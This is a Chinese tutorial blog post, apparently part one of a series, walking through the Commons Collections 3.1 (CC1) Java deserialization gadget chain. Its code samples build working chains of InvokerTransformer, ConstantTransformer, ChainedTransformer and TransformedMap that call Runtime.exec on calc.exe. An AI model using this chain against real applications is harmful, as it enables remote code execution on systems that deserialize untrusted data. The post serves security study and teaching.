前言

由于CC链还是比较复杂的,我们可以先看命令执行的部分payload之后再加上反序列化部分组成一个完整的payload

调试一

项目导入依赖,这里使用3.1版本

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

先来看看以下几个类

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法

public interface Transformer {
public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。 在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表;

关键代码如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; //函数名
this.iParamTypes = paramTypes; //函数参数的类型
this.iArgs = args; //参数对象
}
public Object transform(Object input) {
Class cls = input.getClass(); //获取input的类
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法
return method.invoke(input, this.iArgs); //执行
}

很清楚的可以看到,方法名方法所需的参数类型方法的参数,我们都可以控制,通过Java反射机制,我们可以构造一个命令执行:

public class Test {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
invoketransformer.transform(runtime);
}
}

这就需要一个条件,在调用transform方法的时候,需要传递一个Runtime.getRuntime(),这几乎是不可能的,没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。我们需要把攻击所需要的条件尽可能的缩小,实现在反序列化时就能够rce,所以需要想办法把传递Runtime.getRuntime()这一条件给去掉。接着就找到了ConstantTransformer这个类

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作,那么和上面的InvokerTransformer搭配一下

public class Test {
public static void main(String[] args) throws Exception {
Object constantTransformer= new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
invoketransformer.transform(constantTransformer);
}
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去。

ChainedTransformertransform函数如下

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

ChainedTransformer类的构造函数,其中iTransformers数组是用户自己定义的:

三个继续搭配一下

public class Test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
});
chain.transform(123);
}
}

此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。也就是可以调用其他的tramsform,这一点很关键

payload

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"C:/Windows/System32/calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}

首先创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer, 直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参 数是C:/Windows/System32/calc.exe 。 当然,这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的 TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:

outerMap.put("test", "xxxx");

小结

到这儿,总算是有点思绪,当然,上⾯的代码执⾏demo,它只是⼀个⽤来在本地测试的类。在实际反序列化漏洞中,我们需要将上⾯最终⽣成的outerMap对象变成⼀个序列化流

java安全之CC1浅学(1)的更多相关文章

  1. java安全之CC1浅学(2)

    前言 上一篇了解了commons-collections中的Transformer,并且构造了一个简单的payload,接下来就需要将其改造为一个可利用的POC AnnotationInvocatio ...

  2. junit浅学笔记

    JUnit是一个回归测试框架(regression testing framework).Junit测试是程序员测试,即所谓白盒测试,因为程序员知道被测试的软件如何(How)完成功能和完成什么样(Wh ...

  3. java的反射机制浅谈(转)

    原文链接:java的反射机制浅谈 一.java的反射机制浅谈 1.何谓反射机制 根据网文,java中的反射机制可以如此定义: JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性 ...

  4. 浅学JavaScript

    JavaScript是互联网上最流行的脚本语言,可广泛用于服务器.PC.笔记本电脑智能手机等设备: 对事件的反应: <!DOCTYPE html> <html> <hea ...

  5. Java开发不懂Docker,学尽Java也枉然,阿里P8架构师手把手带你玩转Docker实战

    转: Java开发不懂Docker,学尽Java也枉然,阿里P8架构师手把手带你玩转Docker实战 Docker简介 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一 ...

  6. java数组对象的浅层复制与深层复制

    实际上,java中数组对象的浅层复制只是复制了对象的引用(参考),而深层复制的才是对象所代表的值.

  7. 成为JAVA软件开发工程师要学哪些东西

    2010-04-22 15:34 提问者采纳 Java EE(旧称j2ee)   第一阶段:Java基础,包括java语法,面向对象特征,常见API,集合框架: *第二阶段:java界面编程,包括AW ...

  8. Java中引用的浅复制和深复制

    Java中除了基本类型int,char,double等的赋值是按照值传递之外,其余的类型和对象都是按照引用进行传递的. 下面来看一个关于引用的例子. package referenceCopy;// ...

  9. Java 面向对象 知识点基础浅谈

    1.类和对象的关系 类是一个抽象的模板,对象是根据模板制造出来的,只有类建立之后,对象才可以在类中实例化对象.举个例子讲:我要用黄金浇筑一块砖,我会在一个模型里进行,这样才能有砖的形状,那模型即是类, ...

随机推荐

  1. Usmjeri(COCI2017.2)题解

    题意 给一棵N个节点的树,编号从1到N,再给定m对点(u,v),你要将树上的每条无向边变为有向边,使得给定的点对都满足u能到达v或v能到达u.问有多少种不同的方案,答案对(1e9+7)求余. 1 ≤ ...

  2. 01 - 快速体验 Spring Security 5.7.2 | 权限管理基础

    在前面SpringBoot 2.7.2 的系列文章中,已经创建了几个 computer 相关的接口,这些接口直接通过 Spring Doc 或 POSTMAN 就可以访问.例如: GET http:/ ...

  3. Linux虚拟机启动报错挂载点丢失

    fstab 挂载失败 实验准备 1) 准备:vim /etc/fstab /mnt1/cdrom 挂载点不在 2) 系统启动报错截图 修复步骤 /etc/fstab 中的错误和损坏的文件系统可能会阻止 ...

  4. 记一次 .NET 某数控机床控制程序 卡死分析

    一:背景 1. 讲故事 前段时间有位朋友微信上找到我,说它的程序出现了卡死,让我帮忙看下是怎么回事? 说来也奇怪,那段时间求助卡死类的dump特别多,被迫训练了一下对这类问题的洞察力 ,再次声明一下, ...

  5. KingbaseFlySync 需要对外开放的端口

    Oracle到kes双轨灾备场景 源:Oracle rac 11g 目标端:kes v8r6c4b21 源.目标.管控服务器IP 需要开放端口 为什么源和目标需要互相开放数据库端口:因为在双轨运行的方 ...

  6. JAVA中让Swagger产出更加符合我们诉求的描述文档,按需决定显示或者隐藏指定内容

    大家好,又见面啦. 在前一篇文档<JAVA中自定义扩展Swagger的能力,自动生成参数取值含义说明,提升开发效率>中,我们探讨了如何通过自定义注解的方式扩展swagger的能力让Swag ...

  7. 云原生之旅 - 2)Docker 容器化你的应用

    前言 上文中我们用Golang写了一个HTTP server,本篇文章我们讲述如何容器化这个应用,为后续部署到kubernetes 做准备. 关键词:Docker, Containerization, ...

  8. Chrome 浏览器缓存的问题

    浏览器缓存的问题 Chrome 在浏览器中设置: 1 Ctrl + Shift + Delete 2 Ctrl + F5 强制刷新 3 F12 打开控制台 ---> Network ---> ...

  9. 使用 EFKLK 搭建 Kubernetes 日志收集工具栈

    转载自:https://mp.weixin.qq.com/s?__biz=MzU4MjQ0MTU4Ng==&mid=2247491992&idx=1&sn=a770252759 ...

  10. FastDFS配置文件思维导图(内含各配置文件详细参数说明)